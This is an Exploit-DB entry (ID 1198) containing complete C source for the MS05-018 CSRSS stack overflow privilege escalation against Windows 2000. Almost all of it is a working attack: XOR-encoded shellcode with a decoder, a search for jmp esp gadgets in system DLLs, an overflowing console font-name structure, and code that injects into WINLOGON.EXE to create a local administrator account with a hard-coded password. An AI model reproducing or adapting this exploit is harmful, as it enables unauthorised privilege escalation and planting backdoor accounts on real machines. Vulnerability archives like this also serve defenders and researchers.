标题: Microsoft Windows - CSRSS Privilege Escalation (MS05-018) EDB-ID: 1198 CVE: 2005-0551 类型: LOCAL 平台: WINDOWS 发布日期: 2005-09-06 漏洞利用脚本: #include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment (lib,"Advapi32.lib")

typedef struct _CONSOLE_STATE_INFO    {      
   /* 0x00 */  DWORD cbSize;
      /* 0x04 */  COORD ScreenBufferSize;
      /* 0x08 */  COORD WindowSize;
      /* 0x0c */  POINT WindowPosition;
      /* 0x14 */  COORD FontSize;
      /* 0x18 */  DWORD FontFamily;
      /* 0x1c */  DWORD FontWeight;
      /* 0x20 */  WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;

typedef struct xxx
{
 DWORD dw[6];
 char cmd[0x50];
}address_and_cmd;

char decoder[]=
"\x8b\xdc"
"\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75"
"\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53";
//user=e
//pass=asd#321
char add_user[]=
"\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68"
"\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68"
"\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00"
"\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"
"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];

char szConsoleTitle[256];

DWORD search_jmpesp()
{
 char szDLL[][30] = {"ntdll.dll",
      "kernel32.dll",
      "user32.dll",
      "gdi32.dll",      
      "winsrv.dll",
      "csrsrv.dll",
      "basesrv.dll"};
 int  i,y;
 BOOL done;
 HMODULE h;
 BYTE *ptr;
 DWORD addr=0;

 for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
 {
  done = FALSE;
  h = LoadLibrary(szDLL[i]);
  if(h == NULL) 
   continue;
  printf("[+] start search \"FF E4\" in %s\n", szDLL[i]);
  ptr = (BYTE *)h;
  for(y = 0;!done;y++) 
  { 
   __try 
   { 
    if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4') 
    { 
     addr = (int)ptr + y; 
     done = TRUE;
     printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]);
    } 
   } 
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
    done = TRUE; 
   } 
  } 
  FreeLibrary(h);
  if(addr) break;
 }
 return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
 HMODULE hKernel32;
 address_and_cmd aac;
 int  i=0, j=0, size=0;

 hKernel32 = LoadLibrary("kernel32.dll");
 if(!hKernel32) return FALSE;
 aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
 aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
 aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
 aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
 aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
 aac.dw[5] = dwTargetPid;

 memset(aac.cmd, 0, sizeof(aac.cmd));
 strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");

 //encode
 strcpy(sc, decoder);
 for(i=0;i<sizeof(add_user);i++)
  add_user[i]^=(BYTE)'\x97';
 strcat(sc, add_user);
 for(i=0;i<sizeof(aac);i++)
  ((char *)&aac)[i]^=(BYTE)'\x97';
 size=strlen(sc);
 memcpy(&sc[size], (char *)&aac, sizeof(aac));
 size+=sizeof(aac);
 sc[size]='\x0';
 strcat(sc, decode_end_sign);

 return TRUE;
}

void exploit(HWND hwnd, DWORD dwPid)
{
 HANDLE    hFile;
 LPVOID    lp;
 int     i, index;
 DWORD    dwJMP;
 CONSOLE_STATE_INFO csi;


 memset((void *)&csi, 0, sizeof(csi));
 csi.cbSize = sizeof(csi);
 csi.ScreenBufferSize.X = 0x0050;
 csi.ScreenBufferSize.Y = 0x012c;
 csi.WindowSize.X = 0x0050;
 csi.WindowSize.Y=0x0019;
 csi.WindowPosition.x = 0x58;
 csi.WindowPosition.y = 0x58;
 csi.FontSize.X = 0;
 csi.FontSize.Y=0xc;
 csi.FontFamily = 0x36;
 csi.FontWeight = 0x190;
 
 for(i=0;i<0x58;i++)
  ((char *)csi.FaceName)[i] = '\x90';
 dwJMP = search_jmpesp();
 if(!dwJMP)
 {
  printf("[-] search FF E4 failed.\n");
  return;
 }
 memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
 for(i=0;i<0x20;i++)
  strcat((char *)csi.FaceName, "\x90");
 index = strlen((char *)csi.FaceName);

 if(!make_shellcode(dwPid)) return;
 memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));

 hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
 if(!hFile)
 {
  printf("[-] CreateFileMapping failed:%d\n", GetLastError());
  return;
 }
 printf("[+] CreateFileMapping OK!\n");
 lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
 if(!lp)
 {
  printf("[-] MapViewOfFile failed:%d\n", GetLastError());
  return;
 }
 printf("[+] MapViewOfFile OK!\n");
 //copy
 memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);

 printf("[+] Send Exploit!\n");
 SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}

void main(int argc, char **argv)
{
 DWORD dwRet;
 HWND hwnd = NULL;
 DWORD dwPid = 0;
 HANDLE hSnapshot = NULL;
 PROCESSENTRY32  pe;

 printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n"
   "Affect: Windows 2000 sp3/sp4 (all language)\n"
   "Coded by eyas <eyas at xfocus.org>\n"
   "http://www.xfocus.net\n\n");
 
 if(argc==2)
 {
  dwPid = atoi(argv[1]);
 }
 else
 {
  printf("Usage: %s pid\n\n", argv[0]);
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  pe.dwSize = sizeof(PROCESSENTRY32);
  Process32First(hSnapshot,&pe);
  do
  {  
   if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
   {
    printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile);
   }
  }
  while(Process32Next(hSnapshot,&pe)==TRUE);
  CloseHandle (hSnapshot);
 }

 if(!dwPid) return;

 if(!FreeConsole())
  printf("[-] FreeConsole failed:%d\n", GetLastError());
 else
 {
  printf("[+] FreeConsole ok.\n");
  if(!AllocConsole())
   printf("[-] AllocConsole failed:%d\n", GetLastError());
  else
   printf("[+] AllocConsole ok.\n");
 }

 dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
 if(dwRet)
 {
  printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle);
 }
 else
 {
  printf("[-] Get Console Title failed.\n");
  return;
 }

 hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle); 
 if(hwnd)
  printf("[+] bingo! found hwnd=%X\n", hwnd);
 else
 {
  printf("[-] can't found hwnd!\n");
  return;
 }

 exploit(hwnd, dwPid);
 printf("[+] Done.\n");
}

// milw0rm.com [2005-09-06] URL: https://www.exploit-db.com/exploits/1198